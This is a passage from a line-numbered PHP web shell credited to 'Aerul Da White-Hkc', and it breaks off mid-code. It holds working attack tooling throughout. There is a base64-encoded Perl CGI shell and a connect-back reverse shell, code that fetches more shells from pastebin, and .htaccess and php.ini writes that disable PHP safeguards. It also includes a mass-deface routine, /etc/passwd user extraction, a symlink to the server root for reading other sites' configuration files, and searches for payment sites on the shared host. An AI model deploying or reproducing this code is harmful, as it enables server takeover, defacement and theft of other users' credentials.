XNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
  3223. $file = fopen("izo.cin" ,"w+");
  3224. $write = fwrite ($file ,base64_decode($cgishellizocin));
  3225. fclose($file);
  3226. chmod("izo.cin",0755);
  3227. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  3228. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  3229. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  3230. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  3231. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  3232. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  3233. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  3234. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  3235. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  3236. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  3237. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  3238. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  3239. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  3240. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  3241. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  3242. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  3243. YXRhY2hlZFxuXG4iOw==';
  3244. $file = fopen("dc.pl" ,"w+");
  3245. $write = fwrite ($file ,base64_decode($netcatshell));
  3246. fclose($file);
  3247. chmod("dc.pl",0755);
  3248. echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
  3249. </div>";
  3250. ?>
  3251. <?php
  3252. }
  3253.  
  3254. /////////////////////////////
  3255. elseif(isset($_GET['x']) && ($_GET['x'] == 'configsh3ll'))
  3256. {
  3257. ?>
  3258. <form action="?y=<?php echo $pwd; ?>&amp;x=configsh3ll" method="post">
  3259. <?php
  3260. echo "<center/><br/><b><font color=lime>+--==[ Config Shell Priv8 Aerul ]==--+</font></b><br><br>";
  3261. mkdir('terjang', 0755);
  3262. chdir('terjang');
  3263. $kokdosya = ".htaccess";
  3264. $dosya_adi = "$kokdosya";
  3265. $dosya = fopen ($dosya_adi , 'w') or die ("Error gan!");
  3266. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  3267. AddType application/x-httpd-cgi .pl
  3268. AddHandler cgi-script .pl
  3269. AddHandler cgi-script .pl";
  3270. fwrite ( $dosya , $metin ) ;
  3271. fclose ($dosya);
  3272. $configshell = file_get_contents('http://pastebin.com/raw.php?i=CrhLufY7');
  3273. $file = fopen("a.pl" ,"w+");
  3274. $write = fwrite ($file ,$configshell);
  3275. fclose($file);
  3276. chmod("a.pl",0755);
  3277. chmod(".htaccess",0755);
  3278. echo "<iframe src=terjang/a.pl width=97% height=100% frameborder=0></iframe>
  3279. </div>";
  3280. ?>
  3281. <?php
  3282. }
  3283.  
  3284.  
  3285. //////////////////////////////////////////////////
  3286.  
  3287. elseif(isset($_GET['x']) && ($_GET['x'] == 'MD5'))
  3288. {
  3289. ?>
  3290. <br>
  3291. <iframe
  3292. src ="http://www.hashkiller.co.uk/md5-decrypter.aspx"
  3293. height="600"
  3294. width="100%">
  3295. </iframe>
  3296. <?php
  3297. }
  3298. elseif(isset($_GET['x']) && ($_GET['x'] == 'bingreverse'))
  3299. {
  3300. ?>
  3301. <br><br><br>
  3302. <center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>">=> DNS Reverse IP <=</a></center>
  3303. <br><br><br>
  3304. <center><div id="sitelist"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal">=> Paypal on Server <=</a></center>
  3305. <br><br><br>
  3306. <center><div id="visa"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master">=> CC on Server <=</a></center>
  3307. <?php
  3308. }
  3309. elseif(isset($_GET['x']) && ($_GET['x'] == 'fans'))
  3310. {
  3311. ?>
  3312. <br>
  3313. <center><iframe src="//www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fhackerkocancommunity&amp;width=292&amp;height=590&amp;show_faces=true&amp;colorscheme=dark&amp;stream=true&amp;border_color&amp;header=true&amp;appId=128969567271767" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:590px;" allowTransparency="true"></iframe></center>
  3314. <?php
  3315.  
  3316. }
  3317. elseif(isset($_GET['x']) && ($_GET['x'] == 'encrypt'))
  3318. {
  3319. function base64($text){echo base64_encode($text);}function mdhash($text) {echo md5($text);}function whash($text) {echo crypt($text);}$text = $_POST['code'];?>
  3320. <center> <form method="post"><br><br><br><textarea cols=80 rows=5 name="code">aerulcyber</textarea><br><br>
  3321. <td>
  3322. <form method="post" action="">&nbsp;
  3323. Pilih Jenis Encode=>
  3324. <select class='inputz' size="1" name="ope"><option value="mdhash">md5</option>
  3325. <option value="b64">Base64</option>
  3326. <option value="whash">wordpress hash</option></select>
  3327. <input type='submit' style="color:#00FF1E;background-color:#000000" value='encrypt'></form>
  3328. </center><?$op = $_POST["ope"];switch ($op) {case 'b64': $codi=base64($text);break;case 'mdhash' : $codi=mdhash($text);break;case 'whash' : $codi=whash($text);break;default:break;}echo '<div>'.$codi.'</div>';}
  3329.  
  3330.  
  3331. ////////////////////////////////////////////////
  3332.  
  3333. elseif(isset($_GET['x']) && ($_GET['x'] == 'massdeface'))
  3334. {
  3335. echo "<center/><br/><b><font color=#00ff00>+--==[ Mass Deface ]==--+</font></b><br>";
  3336. error_reporting(0);?>
  3337. <form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
  3338. <td><table><table class="tabnet" >
  3339. <form method='post'>
  3340. <tr>
  3341. <tr>
  3342. <td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
  3343. </tr><br>
  3344. <tr>
  3345. <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
  3346. </tr>
  3347. </tr>
  3348. <th colspan='2'><b>Index code</b></th><br></table>
  3349. <textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><title>Hacked by Aerul Da White-Hkc</title>
  3350. <link rel="icon" href="https://a2.sndcdn.com/assets/images/sc-icons/favicon-154f6af5.ico">
  3351. <head><body oncontextmenu="return false;" onkeydown="return false;" onmousedown="return false;" bgcolor="black">
  3352. <div style="onMouseOver=" init(this);rattleimage()" onMouseOut="stoprattle(this);top.focus()" onClick="top.focus()" alt="" border="0">
  3353. </style>
  3354. </head>
  3355. <br><br><br><br><br><br><br><br>
  3356. </center>
  3357. <center>
  3358. <pre><span style="color: #ff0000;">
  3359.  
  3360. ___ _ ______ _ _ _ _ _ _ _ _
  3361. / _ \ | | | _ \ | | | | | (_) | | | | | |
  3362. / /_\ \ ___ _ __ _ _| | | | | |__ _ | | | | |__ _| |_ ___ ______| |_| | | _____
  3363. | _ |/ _ \ '__| | | | | | | | / _` | | |/\| | '_ \| | __/ _ \______| _ | |/ / __|</span>
  3364. <span style="color: #ffffff;">| | | | __/ | | |_| | | | |/ / (_| | \ /\ / | | | | || __/ | | | | < (__
  3365. \_| |_/\___|_| \__,_|_| |___/ \__,_| \/ \/|_| |_|_|\__\___| \_| |_/_|\_\___|
  3366.  
  3367.  
  3368. </span></pre>
  3369. </body>>
  3370. <span style="color: #ff0000;"> <center>Hacked by Aerul Da White-Hkc - Hacker Kocan Community <br> contact : http://fb.me/hackerkocancommunity <center>
  3371. </html>
  3372. </textarea><br>
  3373. <center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>
  3374.  
  3375. <?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
  3376.  
  3377.  
  3378. ///////////////////////////////////////////////////////
  3379. elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed'))
  3380. {
  3381. ?>
  3382. <form action="?y=<?php echo $pwd; ?>&amp;x=litespeed" method="post">
  3383. <br>
  3384. <?php
  3385. echo "<center/>";
  3386. mkdir('fuck', 0755);
  3387. chdir('fuck');
  3388. $akses = ".htaccess";
  3389. $buka_lah = "$akses";
  3390. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  3391. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  3392. AddType application/x-httpd-cgi .cin
  3393. AddHandler cgi-script .cin
  3394. AddHandler cgi-script .cin
  3395. <Files *.php>
  3396. ForceType application/x-httpd-php4
  3397. </Files>
  3398. ";
  3399. fwrite ( $buka , $metin ) ;
  3400. fclose ($buka);
  3401. $fuck = file_get_contents('http://pastebin.com/raw.php?i=iKDBUY8t');
  3402. $file = fopen("fuck.cin" ,"w+");
  3403. $write = fwrite ($file ,($fuck));
  3404. fclose($file);
  3405. chmod("fuck.cin", 0755);
  3406. $indexshell = fopen("ini.php" ,"w+");
  3407. $data = 'PD8KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsKZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKaW5jbHVkZSgkR0VUWyJmaWxlIl0pOwppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsKZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKaW5jbHVkZSgkX0dFVFsic3MiXSk7Cj8+';
  3408. $tulis = fwrite( $indexshell, base64_decode($data));
  3409. fclose($indexshell);
  3410. chmod("ini.php", 0755);
  3411. $safemode = fopen("php.ini" ,"w+");
  3412. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  3413. $tulis = fwrite( $safemode, base64_decode($data));
  3414. fclose($safemode);
  3415. echo "<iframe src=fuck/fuck.cin width=97% height=100% frameborder=0></iframe>";
  3416. }
  3417. //////////////////////////////////////////////////////////////////
  3418. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypassconfig'))
  3419. {
  3420. ?>
  3421. <form action="?y=<?php echo $pwd; ?>&amp;x=bypassconfig" method="post">
  3422. <html>
  3423. <head>
  3424. <title>||== BypassConfig ==||</title>
  3425. <style>
  3426. body{
  3427. background: #000000;
  3428. color: #FFFFFF;
  3429. font-family: monospace;
  3430. font-size: 12px;
  3431. }
  3432. input{
  3433. background: #0F0F0F;
  3434. border: 1px solid #00FF00;
  3435. color: #00FF00;
  3436. }
  3437. h2{
  3438. color: #55FF2A;
  3439. }
  3440. </style>
  3441. </head>
  3442. <body>
  3443. <p align="center">
  3444. <?php
  3445. echo $head ;
  3446. echo '
  3447. <table width="100%" cellspacing="0" cellpadding="0" >
  3448. <td width="100%" align=center valign="top" rowspan="1">
  3449. <font color=red size=5 face="Tahoma"><b>+--==[ Bypass</font><font color=yellow size=5 face="Tahoma"><b> Config By</font><font color=green size=5 face="Tahoma"><b> Aerul Da White-Hkc ]==--+ </font> <div>
  3450. <td height="10" align="left"></td></tr><tr><td
  3451. width="100%" align="center" valign="top" rowspan="1"><font
  3452. color="red" face="Tahoma"size="1"><b>
  3453. <font color=red>
  3454. </table>
  3455. ';
  3456. ?>
  3457. <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td>Selamat datang di bypass config ane gan :D <br><center>jgn lupa nitip nick ye :v</font><center></td><br></tr></table><br><br>
  3458. <form method=post><font color=white size=2 face="Tahoma">nich tombol buat php.ini :)</font><p>
  3459. <input type=submit name=ini value="use to Generate PHP.ini" /></form>
  3460. <form method=post><font color=white size=2 face="Tahoma">nich buat nyari usernamenya</font><p>
  3461. <input type=submit name="usre" value="use to Extract usernames" /></form>
  3462. <?php
  3463. if(isset($_POST['ini']))
  3464. {
  3465. $r=fopen('php.ini','w');
  3466. $rr="safe_mode=OFF
  3467. disable_functions=NONE";
  3468. fwrite($r,$rr);
  3469. $link="<a href=php.ini><font color=white size=2 face=\"Tahoma\"><u>buka di newtab PHP.INI</u></font></a>";
  3470. echo $link;
  3471. }
  3472. ?>
  3473. <?php
  3474. if(isset($_POST['usre'])){
  3475. ?><form method=post>
  3476. <textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
  3477. foreach($users as $user)
  3478. {
  3479. $str=explode(":",$user);
  3480. echo $str[0]."\n";
  3481. }
  3482. ?></textarea><br><br>
  3483. <input type=submit name=su value="mari kita mulai" /></form>
  3484. <?php } ?>
  3485. <?php
  3486. error_reporting(0);
  3487. echo "<font color=red size=2 face=\"Tahoma\">";
  3488. if(isset($_POST['su']))
  3489. {
  3490. mkdir('hkc',0777);
  3491. $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3492. $g = fopen('hkc/.htaccess','w');
  3493. fwrite($g,$rr);
  3494. $hkc = symlink("/","hkc/root");
  3495. $rt="<a href=hkc/root><font color=white size=3 face=\"Tahoma\"> OwN3d</font></a>";
  3496. echo "Mas bro buka link ini buat liat folder symlink <br><u>$rt</u>";
  3497. $dir=mkdir('hkc',0777);
  3498. $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3499. $f = fopen('hkc/.htaccess','w');
  3500. fwrite($f,$r);
  3501. $consym="<a href=hkc/><font color=white size=3 face=\"Tahoma\">configuration files</font></a>";
  3502. echo "<br>CHECK HASILNYA YG DIBAWAH INI OMSSSS :*<br><u><font color=red size=2 face=\"Tahoma\">$consym</font></u>";
  3503. $usr=explode("\n",$_POST['user']);
